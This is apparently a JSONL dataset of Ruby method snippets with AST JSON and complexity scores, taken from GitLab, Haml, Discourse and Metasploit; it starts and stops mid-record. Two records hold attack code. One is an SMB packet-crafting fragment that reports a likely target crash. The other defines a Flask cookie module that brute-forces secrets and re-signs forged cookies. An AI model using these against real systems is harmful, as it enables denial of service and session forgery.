v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags2\"]},{\"type\":\"int\",\"children\":[51283]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ProcessIDHigh\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OFFSET\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ProcessID\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"MultiplexID\"]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[65536]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending request and waiting for a reply...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The target system has likely crashed\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Response received: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"inspect\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"f38be14a-3b4c-486b-baab-343d70ccdc54"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2715,"raw_source":"def export_enqueued?(user)\n    strong_memoize(:export_enqueued) do\n      ::Projects::ExportJobFinder.new(self, user, { status: :queued }).execute.present?\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"export_enqueued?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"export_enqueued\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"ExportJobFinder\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"queued\"]}]}]}]},\"execute\"]},\"present?\"]}]}]}","id":"7c577abd-7f7d-4206-98ba-4db35aeb8118"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":607,"raw_source":"def test_html_attrs_html5; skip\n    assert_equal(\"<html lang='en-US'></html>\\n\",\n                  render(\"%html{html_attrs}\", :format => :html5))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_html_attrs_html5\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<html lang='en-US'></html>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%html{html_attrs}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"html5\"]}]}]}]}]}]}]}","id":"f9100431-77b4-472c-898e-588a85251128"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/python_flask_cookie_signer.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Python Flask Cookie Signer',\n        'Description' => %q{\n          This is a generic module which can manipulate Python Flask-based application cookies.\n          The Retrieve action will connect to a web server, grab the cookie, and decode it.\n          The Resign action will do the same as above, but after decoding it, it will replace\n          the contents with that in NEWCOOKIECONTENT, then sign the cookie with SECRET. This\n          cookie can then be used in a browser. This is a Ruby based implementation of some\n          of the features in the Python project Flask-Unsign.\n        },\n        'Author' => [\n          'h00die', # MSF module\n          'paradoxis', #  original flask-unsign tool\n          'Spencer McIntyre', # MSF flask-unsign library\n        ],\n        'References' => [\n          ['URL', 'https://github.com/Paradoxis/Flask-Unsign'],\n        ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => []\n        },\n        'Actions' => [\n          ['Retrieve', { 'Description' => 'Retrieve a cookie from an HTTP(s) server' }],\n          ['FindSecret', { 'Description' => 'Brute force the secret key used to sign the cookie' }],\n          ['Resign', { 'Description' => 'Resign the specified cookie data' }]\n        ],\n        'DefaultAction' => 'Retrieve',\n        'DisclosureDate' => '2019-01-26' # first commit by @Paradoxis to the Flask-Unsign repo\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(80),\n        OptString.new('TARGETURI', [ true, 'URI to browse', '/']),\n        OptString.new('NEWCOOKIECONTENT', [ false, 'Content of a cookie to sign', ''], conditions: %w[ACTION == Resign]),\n        OptString.new('SECRET', [ true, 'The key with which to sign the cookie', '']),\n        OptPath.new('SECRET_KEYS_FILE', [\n          false, 'File containing secret keys to try, one per line',\n          File.join(Msf::Config.data_directory, 'wordlists', 'flask_secret_keys.txt')\n        ], conditions: %w[ACTION == FindSecret]),\n      ]\n    )\n    register_advanced_options(\n      [\n        OptString.new('CookieName', [ true, 'The name of the session cookie', 'session' ]),\n        OptString.new('Salt', [ true, 'The salt to use for key derivation', Msf::Exploit::Remote::HTTP::FlaskUnsign::Session::DEFAULT_SALT ])\n      ]\n    )\n  end","complexity_score":16.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Python Flask Cookie Signer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This is a generic module which can manipulate Python Flask-based application cookies.\\n\"]},{\"type\":\"str\",\"children\":[\"          The Retrieve action will connect to a web server, grab the cookie, and decode it.\\n\"]},{\"type\":\"str\",\"children\":[\"          The Resign action will do the same as above, but after decoding it, it will replace\\n\"]},{\"type\":\"str\",\"children\":[\"          the contents with that in NEWCOOKIECONTENT, then sign the cookie with SECRET. This\\n\"]},{\"type\":\"str\",\"children\":[\"          cookie can then be used in a browser. This is a Ruby based implementation of some\\n\"]},{\"type\":\"str\",\"children\":[\"          of the features in the Python project Flask-Unsign.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"paradoxis\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/Paradoxis/Flask-Unsign\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieve\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Retrieve a cookie from an HTTP(s) server\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FindSecret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Brute force the secret key used to sign the cookie\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Resign\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Resign the specified cookie data\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Retrieve\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-01-26\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"URI to browse\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NEWCOOKIECONTENT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Content of a cookie to sign\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ACTION\"]},{\"type\":\"str\",\"children\":[\"==\"]},{\"type\":\"str\",\"children\":[\"Resign\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SECRET\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The key with which to sign the cookie\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"SECRET_KEYS_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File containing secret keys to try, one per line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"flask_secret_keys.txt\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ACTION\"]},{\"type\":\"str\",\"children\":[\"==\"]},{\"type\":\"str\",\"children\":[\"FindSecret\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CookieName\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the session cookie\"]},{\"type\":\"str\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"Salt\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The salt to use for key derivation\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"HTTP\"]},\"FlaskUnsign\"]},\"Session\"]},\"DEFAULT_SALT\"]}]}]}]}]}]}]}","id":"8ccb4ccf-3760-4fc5-b6d1-cdbe98ea2c41"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/transaction.rb","start_line":84,"raw_source":"def set(name, value, labels = {}, &block)\n        gauge = self.class.prometheus_metric(name, :gauge, &block)\n\n        gauge.set(filter_labels(labels), value)\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gauge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"prometheus_metric\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"gauge\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gauge\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"filter_labels\",{\"type\":\"lvar\",\"children\":[\"labels\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"bd159523-91c3-47a3-a043-a916f5811f56"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled.rb","start_line":21,"raw_source":"def enqueue_stats_job(request_id)\n        return unless Feature.enabled?(:performance_bar_stats, type: :ops)\n\n        cache_existed = @client.exists?(GitlabPerformanceBarStatsWorker::STATS_KEY)\n        @client.sadd?(GitlabPerformanceBarStatsWorker::STATS_KEY, request_id)\n\n        return if cache_existed\n\n        # stats key should be periodically processed and deleted by\n        # GitlabPerformanceBarStatsWorker but if it doesn't happen for\n        # some reason, we set expiration for the stats key to avoid\n        # keeping millions of request ids which would be already expired\n        # anyway\n        @client.expire(\n          GitlabPerformanceBarStatsWorker::STATS_KEY,\n          GitlabPerformanceBarStatsWorker::STATS_KEY_EXPIRE\n        )\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_stats_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"performance_bar_stats\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cache_existed\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"exists?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabPerformanceBarStatsWorker\"]},\"STATS_KEY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"sadd?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabPerformanceBarStatsWorker\"]},\"STATS_KEY\"]},{\"type\":\"lvar\",\"children\":[\"request_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_existed\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"expire\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabPerformanceBarStatsWorker\"]},\"STATS_KEY\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabPerformanceBarStatsWorker\"]},\"STATS_KEY_EXPIRE\"]}]}]}]}","id":"2be461a4-bcd1-460a-9947-4ea4ebad5537"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_merger.rb","start_line":12,"raw_source":"def merge\n    return if @posts.count < 2\n\n    ensure_same_topic!\n    ensure_same_user!\n\n    guardian = Guardian.new(@user)\n    ensure_can_merge!(guardian)\n\n    posts =\n      @posts.sort_by do |post|\n        guardian.ensure_can_delete!(post)\n        post.post_number\n      end\n\n    post_content = posts.map(&:raw)\n    post = posts.pop\n\n    merged_post_raw = post_content.join(\"\\n\\n\")\n    changes = {\n      raw: merged_post_raw,\n      edit_reason: I18n.t(\"merge_posts.edit_reason\", count: posts.length, username: @user.username),\n    }\n\n    ensure_max_post_length!(merged_post_raw)\n    PostRevisor\n      .new(post, post.topic)\n      .revise!(@user, changes) { posts.each { |p| PostDestroyer.new(@user, p).destroy } }\n  end","complexity_score":35.9,"ast_json":"{\"type\":\"def\",\"children\":[\"merge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"count\"]},\"<\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"ensure_same_topic!\"]},{\"type\":\"send\",\"children\":[null,\"ensure_same_user!\"]},{\"type\":\"lvasgn\",\"children\":[\"guardian\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ensure_can_merge!\",{\"type\":\"lvar\",\"children\":[\"guardian\"]}]},{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"ensure_can_delete!\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"pop\"]}]},{\"type\":\"lvasgn\",\"children\":[\"merged_post_raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_content\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"merged_post_raw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit_reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"merge_posts.edit_reason\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"username\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ensure_max_post_length!\",{\"type\":\"lvar\",\"children\":[\"merged_post_raw\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostRevisor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]}]},\"revise!\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"lvar\",\"children\":[\"changes\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostDestroyer\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]},\"destroy\"]}]}]}]}]}","id":"746f887f-464f-46be-8255-6e19e24e8836"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/update_hotlinked_raw.rb","start_line":7,"raw_source":"def execute(args)\n      @post_id = args[:post_id]\n      raise Discourse::InvalidParameters.new(:post_id) if @post_id.blank?\n\n      post = Post.find_by(id: @post_id)\n      return if post.nil?\n      return if post.cook_method == Post.cook_methods[:raw_html]\n      return if post.topic.nil?\n\n      hotlinked_map = post.post_hotlinked_media.preload(:upload).index_by { |r| r.url }\n\n      raw =\n        InlineUploads.replace_hotlinked_image_urls(raw: post.raw) do |match_src|\n          normalized_match_src = PostHotlinkedMedia.normalize_src(match_src)\n          hotlinked_map[normalized_match_src]&.upload\n        end\n\n      if post.raw != raw\n        changes = { raw: raw, edit_reason: I18n.t(\"upload.edit_reason\") }\n        post.revise(\n          Discourse.system_user,\n          changes,\n          bypass_bump: true,\n          skip_staff_log: true,\n          skip_validations: true,\n        )\n      end\n    end","complexity_score":43.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@post_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"cook_method\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"cook_methods\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"raw_html\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"hotlinked_map\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_hotlinked_media\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"upload\"]}]},\"index_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InlineUploads\"]},\"replace_hotlinked_image_urls\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match_src\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"normalized_match_src\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostHotlinkedMedia\"]},\"normalize_src\",{\"type\":\"lvar\",\"children\":[\"match_src\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hotlinked_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"normalized_match_src\"]}]},\"upload\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"hash\",\"children\":[{\"type\":\"p